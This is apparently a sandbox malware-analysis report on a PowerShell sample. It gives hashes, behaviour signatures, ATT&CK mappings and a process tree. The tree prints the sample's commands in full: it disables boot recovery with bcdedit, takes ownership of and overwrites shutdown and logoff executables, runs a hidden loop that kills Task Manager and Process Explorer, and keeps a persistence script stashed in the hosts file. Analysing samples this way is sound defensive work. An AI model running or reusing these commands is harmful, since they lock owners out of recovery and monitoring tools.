dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f

Analysis

user interaction
yes
max time kernel
26s
max time network
21s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
01/07/2026, 17:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.ps1
Size 12KB
Sample260701-wkllysc14v
SHA256 dedca95b1c824184bac5870a1e12686c8d9fd4090070edf7cb96eb339e8ac34f
MD5 ba308282055c8dfbdea4bd6821d5843b
SHA1 aba314b41460213c0704155010a45e6b9d24d39e
SHA512 8f77986bd52d8ed1f2972ef16b77500b3df1a989cad12014fb398e86c1a8ca56f7061e05ec0fbd9a4ac802aa7c00672b8d82b09589b5b1aacda37a4974da34ed
SSDEEP 192:Mt14EX0PIVal6JmpxTAZ8Wm2ocMSKLcynIrDmgAQe5EmIvvf+eTY8fvKiNiRHBk6:tgV5JMJcMSKLHInAomIvu4P8uuyE
TLSH
T16942A645AB15526585B29B24DDC2A29AFF3B003F11B75200B5ADC2907FB253ACB39ECC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery evasion execution exploit ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3948	bcdedit.exe
4224	bcdedit.exe
3552	bcdedit.exe
3244	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4952	powershell.exe
1728	powershell.exe
2792	powershell.exe
1568	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
3872	takeown.exe
3820	icacls.exe
3300	takeown.exe
1960	icacls.exe
3648	takeown.exe
1340	icacls.exe
1300	takeown.exe
1744	icacls.exe

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3300	takeown.exe
1960	icacls.exe
3648	takeown.exe
1340	icacls.exe
1300	takeown.exe
1744	icacls.exe
3872	takeown.exe
3820	icacls.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\shutdown.exe	powershell.exe
File opened for modification	C:\Windows\system32\logoff.exe	powershell.exe
File opened for modification	C:\Windows\system32\tsdiscon.exe	powershell.exe
File opened for modification	C:\Windows\system32\reset.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
1568	powershell.exe
1568	powershell.exe
2792	powershell.exe
2792	powershell.exe
4952	powershell.exe
4952	powershell.exe
1728	powershell.exe
1728	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeTakeOwnershipPrivilege	1568	powershell.exe
Token: SeBackupPrivilege	1568	powershell.exe
Token: SeRestorePrivilege	1568	powershell.exe
Token: SeIncreaseQuotaPrivilege	1568	powershell.exe
Token: SeSecurityPrivilege	1568	powershell.exe
Token: SeTakeOwnershipPrivilege	1568	powershell.exe
Token: SeLoadDriverPrivilege	1568	powershell.exe
Token: SeSystemProfilePrivilege	1568	powershell.exe
Token: SeSystemtimePrivilege	1568	powershell.exe
Token: SeProfSingleProcessPrivilege	1568	powershell.exe
Token: SeIncBasePriorityPrivilege	1568	powershell.exe
Token: SeCreatePagefilePrivilege	1568	powershell.exe
Token: SeBackupPrivilege	1568	powershell.exe
Token: SeRestorePrivilege	1568	powershell.exe
Token: SeShutdownPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeSystemEnvironmentPrivilege	1568	powershell.exe
Token: SeRemoteShutdownPrivilege	1568	powershell.exe
Token: SeUndockPrivilege	1568	powershell.exe
Token: SeManageVolumePrivilege	1568	powershell.exe
Token: 33	1568	powershell.exe
Token: 34	1568	powershell.exe
Token: 35	1568	powershell.exe
Token: 36	1568	powershell.exe
Token: SeIncreaseQuotaPrivilege	1568	powershell.exe
Token: SeSecurityPrivilege	1568	powershell.exe
Token: SeTakeOwnershipPrivilege	1568	powershell.exe
Token: SeLoadDriverPrivilege	1568	powershell.exe
Token: SeSystemProfilePrivilege	1568	powershell.exe
Token: SeSystemtimePrivilege	1568	powershell.exe
Token: SeProfSingleProcessPrivilege	1568	powershell.exe
Token: SeIncBasePriorityPrivilege	1568	powershell.exe
Token: SeCreatePagefilePrivilege	1568	powershell.exe
Token: SeBackupPrivilege	1568	powershell.exe
Token: SeRestorePrivilege	1568	powershell.exe
Token: SeShutdownPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeSystemEnvironmentPrivilege	1568	powershell.exe
Token: SeRemoteShutdownPrivilege	1568	powershell.exe
Token: SeUndockPrivilege	1568	powershell.exe
Token: SeManageVolumePrivilege	1568	powershell.exe
Token: 33	1568	powershell.exe
Token: 34	1568	powershell.exe
Token: 35	1568	powershell.exe
Token: 36	1568	powershell.exe
Token: SeIncreaseQuotaPrivilege	1568	powershell.exe
Token: SeSecurityPrivilege	1568	powershell.exe
Token: SeTakeOwnershipPrivilege	1568	powershell.exe
Token: SeLoadDriverPrivilege	1568	powershell.exe
Token: SeSystemProfilePrivilege	1568	powershell.exe
Token: SeSystemtimePrivilege	1568	powershell.exe
Token: SeProfSingleProcessPrivilege	1568	powershell.exe
Token: SeIncBasePriorityPrivilege	1568	powershell.exe
Token: SeCreatePagefilePrivilege	1568	powershell.exe
Token: SeBackupPrivilege	1568	powershell.exe
Token: SeRestorePrivilege	1568	powershell.exe
Token: SeShutdownPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeSystemEnvironmentPrivilege	1568	powershell.exe
Token: SeRemoteShutdownPrivilege	1568	powershell.exe
Token: SeUndockPrivilege	1568	powershell.exe
Token: SeManageVolumePrivilege	1568	powershell.exe
Token: 33	1568	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1568 wrote to memory of 2996	1568	powershell.exe	84
PID 2996 wrote to memory of 4740	2996	csc.exe	85
PID 1568 wrote to memory of 3300	1568	powershell.exe	86
PID 1568 wrote to memory of 1960	1568	powershell.exe	87
PID 1568 wrote to memory of 3648	1568	powershell.exe	88
PID 1568 wrote to memory of 1340	1568	powershell.exe	89
PID 1568 wrote to memory of 1300	1568	powershell.exe	90
PID 1568 wrote to memory of 1744	1568	powershell.exe	91
PID 1568 wrote to memory of 3872	1568	powershell.exe	92
PID 1568 wrote to memory of 3820	1568	powershell.exe	93
PID 1568 wrote to memory of 1108	1568	powershell.exe	94
PID 1108 wrote to memory of 3172	1108	csc.exe	95
PID 1568 wrote to memory of 1168	1568	powershell.exe	96
PID 1168 wrote to memory of 2524	1168	csc.exe	97
PID 1568 wrote to memory of 424	1568	powershell.exe	101
PID 424 wrote to memory of 4508	424	csc.exe	102
PID 1568 wrote to memory of 2792	1568	powershell.exe	104
PID 1568 wrote to memory of 4952	1568	powershell.exe	106
PID 1568 wrote to memory of 3948	1568	powershell.exe	108
PID 1568 wrote to memory of 4224	1568	powershell.exe	109
PID 1568 wrote to memory of 3552	1568	powershell.exe	110
PID 1568 wrote to memory of 3244	1568	powershell.exe	111
PID 1568 wrote to memory of 1728	1568	powershell.exe	112
PID 1568 wrote to memory of 4208	1568	powershell.exe	114

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1568
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gcg0laha\gcg0laha.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES846D.tmp" "c:\Users\Admin\AppData\Local\Temp\gcg0laha\CSC5F46087D2CF74596876B76B534B1BC3.TMP"
    3⤵
    PID:4740
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\shutdown.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3300
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\shutdown.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1960
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\logoff.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3648
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\logoff.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1340
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\tsdiscon.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1300
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\tsdiscon.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1744
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /F C:\Windows\system32\reset.exe /A
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3872
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" C:\Windows\system32\reset.exe /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3820
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jfmtmd5n\jfmtmd5n.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8B43.tmp" "c:\Users\Admin\AppData\Local\Temp\jfmtmd5n\CSC997B0E82AA064D97BFC32145CD11ABB8.TMP"
    3⤵
    PID:3172
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xd1eab4p\xd1eab4p.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1168
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8BC0.tmp" "c:\Users\Admin\AppData\Local\Temp\xd1eab4p\CSC27B674CE199D43DDBEDCF6A99AE4661B.TMP"
    3⤵
    PID:2524
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m2chxvzc\m2chxvzc.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:424
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9287.tmp" "c:\Users\Admin\AppData\Local\Temp\m2chxvzc\CSCE76718EFA3504AC99F8F7314C88395FC.TMP"
    3⤵
    PID:4508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { # Kill taskkill, taskmgr, process explorer, etc. $badProcs = @("taskkill","taskmgr","procexp","procmon","psexec","wmic","cscript","wscript","powershell_ise") foreach ($p in $badProcs) { Get-Process -Name $p -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue } # Re-apply shutdown blocker and overwrite executables if restored try { $blocker = [ShutdownBlocker]; $blocker::Block() } catch {} $system32 = [Environment]::SystemDirectory $exes = @("shutdown.exe","logoff.exe") foreach ($e in $exes) { $path = Join-Path $system32 $e if (Test-Path $path) { $content = Get-Content $path -ErrorAction SilentlyContinue if ($content -notmatch "vm_keeper") { takeown /F $path /A 2>$null; icacls $path /grant Administrators:F /t 2>$null $dummy = "@echo off`npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -File `"C:\Windows\Temp\vm_keeper.ps1`"`nexit /b 0" Set-Content -Path $path -Value $dummy -Force } } } Start-Sleep -Seconds 30 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4952
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3948
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set {globalsettings} optionsedit false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4224
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3552
- C:\Windows\system32\bcdedit.exe
  "C:\Windows\system32\bcdedit.exe" /set bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "while ($true) { if (-not (Test-Path "C:\Windows\Temp\vm_keeper.ps1")) { # Restore from a hidden alternate data stream (store in hosts file) $backup = [System.IO.File]::ReadAllText("C:\Windows\System32\drivers\etc\hosts") if ($backup -match "KEEPER_START(.*)KEEPER_END") { [System.IO.File]::WriteAllText("C:\Windows\Temp\vm_keeper.ps1", $matches[1]) } } Start-Sleep -Seconds 5 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1728
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force /target:computer
  2⤵
  PID:4208

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 df0fcfba7ccb03bac0ccf6941f9cc512937fdc63035a2fedc78aa9a82c1d8af1
MD5 e30544e6d048b2c1c6129c89835c16dd
SHA1 21d167ff64825d3f8a5c351c3160b670dc14cb60
SHA512 fcfc1e2b4110286dc8ede8caab34ea309e24fa6deb225213ab0e5b2d6499cc195e65dde2e125bca3ef5d5b5f4fdda66a1e4429cf2ea1c3df0ba92142342dfd9b
TLSH
T1F551CB3133B5A1E489167F4619681AC023BF8355F698AF187698521ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 759df6c66dfa6270164a713e381b94b0ea97b97213d6d8f9fc7577586e7028d4
MD5 2b290d9025639cd3d1ef28ec57e57f13
SHA1 b40f3c57256fbb7e5d06c3044afd5ff5997b14e2
SHA512 f9d773ac5a82f6072bc8a2874c1b7d9c3bce84cb2430608ccd8b126e26ca165ac5c85dc17a402b0195c4428fd50da86bfdb60f61c5b3978a06149629f209ad81
TLSH
T1E341AA67F3DC8A21CC8A813B109D9D6531A6D7D7809E8FDB7F84C108A03F6A9DB25144
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 138d9b6830a19b2aa92d2c74b8701ac16e4c6b3b6165b16d40ec9a44e0c842e0
MD5 c309ac099b75c20b3c39c0ea7cab36e6
SHA1 75868ae34d50190a2f090a3e1b2005554a13c811
SHA512 cde467f6c3895d72bba0f0c78be5b2da6f3378529a14e32e2e7538906c4a8fce171142f166ad18ba24458a096a39baad37f939fb179647fe5d83eb133f3051ab
TLSH
T107116663F79CC860CC89453A409C9DA175B6D7C781DEDE9B3EC4C214E07F588DB201A4
MD5 SHA1 SHA512 TLSH

Submit Download

RES846D.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES846D.tmp
Size 1KB
SHA256 0e4e38062102fa77fdb4023165eb9a506518a8e2dfcdc41db2e6a22ffdc2b806
MD5 ac788184e7a216b05f9c40ebd3e486bf
SHA1 f2a44c0b4f1c3d99e68d89cf0b122f62202708a5
SHA512 6c54766d0eb63a49b800f8ec51b88d9209f0adfe753aaf7c922ff28b3f1d980050b8e6690e5cd9039925cc8d1e92e8190bb0b21526ba676394d10adf7c3b390b
TLSH
T1BE217F0593E9471EF077573179F6576FA224FDA4EFA2935F854042282C51604EEE0E72
MD5 SHA1 SHA512 TLSH

Submit Download

RES8B43.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8B43.tmp
Size 1KB
SHA256 0cfeed9b9a4770228a574345f54c6c0200b5385b2664fc33ef48fff4a888bf37
MD5 dc21bd338d345b17a19156aff6382298
SHA1 72c99f66d458da03548305a4070ae58ac05532d9
SHA512 3c1d52efc9eae98dd253f48e3136029244d597c8de38ad7e7011f64e5d33cf0396f5ddb46ff5e8f70e19820dfd4203031cf032dfe327bfac17dd8f9c0ce2543e
TLSH
T1A621AB0593EC4B1FF0775732A9FA072F9278FDA5EFA1975B8540422C1C51204EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

RES8BC0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8BC0.tmp
Size 1KB
SHA256 bea2f6bb81f5e403e6dd66c2e388871323c5a163187da3eb32f7239aeae5dee8
MD5 3a5048538b843cebb685792d86cd2837
SHA1 c2d16d520a1b5a9292e36ace88f8c9e77c31cf17
SHA512 8548c36e2f1d6011b60d785f8405609ba8d808a28a0625f74e1cc090b0f7e9a1f196f7c15ec0d13a637ae20b106808da4d78cad68666fc303977c1f72831a9c4
TLSH
T11E21C90597E8470FF077173269F6076BA278FDA8EFA2935B855442281C51204EEA1E72
MD5 SHA1 SHA512 TLSH

Submit Download

RES9287.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9287.tmp
Size 1KB
SHA256 9ad319c03843922236335a618596f9915ee602053dc37a08aeee01b8c495068c
MD5 010dc3924596935a11f6e2594b51f52c
SHA1 caf5da6c0b5aab3af3b1ba007005cbc3befaf37f
SHA512 c913968ce67c6bc3de12302b73ee3c5d426fe235403f0263fa49d6a6a6e6973c632b539b9b40cf734a8f20591b8386c429857b062215b6f1d51c64a776fd404e
TLSH
T15C21CC4587E94B1EF07357326DF6072BA274FD54EF62539B844042282851940FEE0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_abbt0z0r.fzh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_abbt0z0r.fzh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

gcg0laha.dll

Path C:\Users\Admin\AppData\Local\Temp\gcg0laha\gcg0laha.dll
Size 4KB
SHA256 a87860eee7fb3a0e83fd2d9c4623dc3498754601722888f128ce5c4735fbc36e
MD5 d4b5ad38b0baae72bac1b4626e7953e1
SHA1 1be341cde422fe3ff6b6389de3465eefc41f1234
SHA512 f7d21b5fb5cbc9e90c3e1bbff583ee8c4be45ce5f2a633d4c403d06c86d020d4a1a27650c7ed2c4a91c056be13ef5cdc22bee26bf4544dcef68efd8989e026c1
TLSH
T1B8818007ABFC4A26F4F70774BFF3071227B4F8648E73936B188081692CE52001E22B62
MD5 SHA1 SHA512 TLSH

Submit Download

jfmtmd5n.dll

Path C:\Users\Admin\AppData\Local\Temp\jfmtmd5n\jfmtmd5n.dll
Size 3KB
SHA256 18e4d29500fc64119f811605b2249c9a6ae6edd67f6276140e636378101f23bc
MD5 80b6e063f2f570500d18733815263f32
SHA1 7e5649c25ed0c1c61db8d1965bccb5c9574132f4
SHA512 6c80870bc903a1f2bbcdf108a2cf04bc3c577f962a588b7c3a7f410a93e8c99cce21a5e3611c3524f360a06e9a2f527aaa588cebfdae50857d157577098dcef4
TLSH
T1A771EE06A7EC462BE0AF4774ADF7032727B4F8509AB7A76E099542296C813205E21BB0
MD5 SHA1 SHA512 TLSH

Submit Download

m2chxvzc.dll

Path C:\Users\Admin\AppData\Local\Temp\m2chxvzc\m2chxvzc.dll
Size 3KB
SHA256 1511ee931f4cf45fc73ef5db64d54cd30dd33183e229b0cc520489c46f23199f
MD5 2663d073ef289e6d46a1cf0ef895f0d2
SHA1 198ea62ddb5c3a84cb76732280242f4958959b46
SHA512 6fc1821e585c0211ed3d085a0e5cc870016184671733def3c63c618b7bf3ca80d717c0f799d7aa6aaf481fa75f16a8349ae65704a70f06296a5bbc39c1e7e5b6
TLSH
T1DF710E17A7E84616E0BB07346AB743266BB4F8108E6793AF4E9002196C55B706E31FF5
MD5 SHA1 SHA512 TLSH

Submit Download

xd1eab4p.dll

Path C:\Users\Admin\AppData\Local\Temp\xd1eab4p\xd1eab4p.dll
Size 3KB
SHA256 6897b367bb3c9ab3d6ce62d770d621b331e2d129ee12878d7014814da2aafd2b
MD5 dfe9a6cfd507b51e9b73c9ddf939017a
SHA1 eec63750c9107bd1346369c56910b6113f102de5
SHA512 756b26be54f82d736ecf374a172d2164f4f2dd797b185d184926e9363802c028f0b07af63b3b0f0e443d3d9e4627dd2308063c2b53540f2bfb5de179d6682669
TLSH
T19D71AD16A7F8461BF4670731AEF7079666B9F8109B73935E0894421C6C602605D32FB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC5F46087D2CF74596876B76B534B1BC3.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\gcg0laha\CSC5F46087D2CF74596876B76B534B1BC3.TMP
Size 652B
SHA256 2e7b0069c584774d6a56b18fa3367853c31b381bcc3187965be366b41565c45b
MD5 f645dddc287521d08fedb1263e167b70
SHA1 068bb21d25450bb169a35299b190ef63ce8d1425
SHA512 6f671acff66644aad2b6c876e018bd0165377488dd6c9719fe692f1f862b496593b1711027437744793abc2c8df195f3737331195a191d92b3087f4792379be0
TLSH
T1FEF0540A63F8430EF0F34B30BDF643A79568FC64DE3293ED1540131928646108961F71
MD5 SHA1 SHA512 TLSH

Submit Download

gcg0laha.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\gcg0laha\gcg0laha.0.cs
Size 1KB
SHA256 2dbc0a67d963f6c18a462bca497bad10c22894c5ebc28d50969ddab31c66c3f2
MD5 8452a041d6a0c3c7e16e1de04a246277
SHA1 46f36ca69e576f044420d92adb697dc1e9fd28bf
SHA512 4ce01ac9584979574da19b7d808202e78b3bfca578623846209822a0cab07be81a97f3445ea1c37d6d5b4a7e798f8c9196c6cdeccbd541da63c1cd4b2c79d9a8
TLSH
T1B031125B936D02614C736394EED8B48BED23002A15FF6921F5DE43A14FA7123DB36E09
MD5 SHA1 SHA512 TLSH

Submit Download

gcg0laha.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\gcg0laha\gcg0laha.cmdline
Size 369B
SHA256 01ba1f264c26e6ad5b2158ab95b072fb617040c91bdd0acb8d3e29333d4ecec6
MD5 c827963efc3a9e87c7d4b53da731ba39
SHA1 68ef88269b96f9f0dfa4da2cb6b6aca3a22d8dc0
SHA512 90f4450904170dead0f8597afe780a54836a9b76ad710f8773861240efd8abfc163be3ccecbc03d088bbc2a72a9e2044a76e83c555115fcf968618cf88057fba
TLSH
T14DE0C62E42C7C2FD09ED200B3A6EC4BCE2722B932980BF8C9440840DE0270012FD2F81
MD5 SHA1 SHA512 TLSH

Submit Download

CSC997B0E82AA064D97BFC32145CD11ABB8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\jfmtmd5n\CSC997B0E82AA064D97BFC32145CD11ABB8.TMP
Size 652B
SHA256 e5c25c8ea902f487adda9b90065b4a146a5b044207da1b760d7caa8b271f3933
MD5 43319add2a87fa8f4d156b41e99ca78e
SHA1 0b8de40d8a9c04174b7381bef59a49af503e2da7
SHA512 a86ac0dd877daeeca28a000003e247ee97e4f70c1f8b15fc7c5f540d0398ef2accec540aa8a4eb7fd449aaa2821a0fec9715227ac9268812418daf4a3e893bb3
TLSH
T173F05E09A3FC120EF0F79B70BDF6436791A9BC65DE7293ED5440432D2C646208962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

jfmtmd5n.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\jfmtmd5n\jfmtmd5n.0.cs
Size 548B
SHA256 5e779db676d438c491736b4d2f30b08daea3e0ffc4e50fe491a6e05f37d68642
MD5 932ed63836198d1a5bb0f4eb80b19269
SHA1 e827ebd667ddca7396fff55a4f033559fd7c7cd5
SHA512 b29796c4603df1d0a39b2551e383d2c796dcb720ba336599309381568a045fc7473605e35044332c8921000e4589946cbffd8a1c2582a7ae7c188b0d5fe435c4
TLSH
T17CF0C958574D172E80EA020BBED0E44ADAB3613205BB7A10BC8D17B0AF2A20083A2F1C
MD5 SHA1 SHA512 TLSH

Submit Download

jfmtmd5n.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\jfmtmd5n\jfmtmd5n.cmdline
Size 369B
SHA256 82dc1181a9d0b0b4875e570ac21c2d47e1b934eba2d2fa97b4cfd8fe80363e39
MD5 083abf774dbd3d33c49793a88ced61ef
SHA1 67ac27614749eb0bcd221ffab68159e52b5b88ad
SHA512 dcecac8293ab4584b6b94a2740c3e831016f70904d5f0afc6819c33e472099c268223e2c9dde3c4b115f2d30bfc60a029a78c450f232641a44ced2c8d6d4e3a7
TLSH
T186E0262A7256C67F17ED500B2A6EDAACC27247872981BF8492548CEDE0270086BE2795
MD5 SHA1 SHA512 TLSH

Submit Download

CSCE76718EFA3504AC99F8F7314C88395FC.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\m2chxvzc\CSCE76718EFA3504AC99F8F7314C88395FC.TMP
Size 652B
SHA256 f3c01e78279cb47a5e8306c9462a113e2042eaed5ee2152e562fe70d221ce672
MD5 f0c5897df4d94d20bd45f746778f63e8
SHA1 e1ddad56ec5e712018ee04a5d70467e1e613757f
SHA512 f5a0a224e11006d866084451ea8883f01dd789b7512e75d769a275a033096e1771ab5cc694625cb6dbb4305aff1b51b6cfed2c6268c479c7ca62e564b3012495
TLSH
T171F05E4967F8020EF0F35B71BDF64363A5A8BC64DE3293ED149003192864D10AD62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

m2chxvzc.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\m2chxvzc\m2chxvzc.0.cs
Size 647B
SHA256 1fa82e05df0472d6560e9350f0a6812cc1fd53429452ab1678ff5ba1c0350800
MD5 a07fae728a7a6224365f916bec59ae44
SHA1 ae733de114c4a51106f3bd093f644f18445f19b1
SHA512 1481ad06ed8b2bb3d7c95e0d203e6f4c12265292813cf941e39377a8ce67a47b3fd3fd1dde24fcffb21aaca61b8c8f7321a7ba443767d4e262f9b9ef6810c429
TLSH
T13AF04C64B3254D5084725628AC59A168F617407302A62A45F6AE0211EF7B129D2B4F5C
MD5 SHA1 SHA512 TLSH

Submit Download

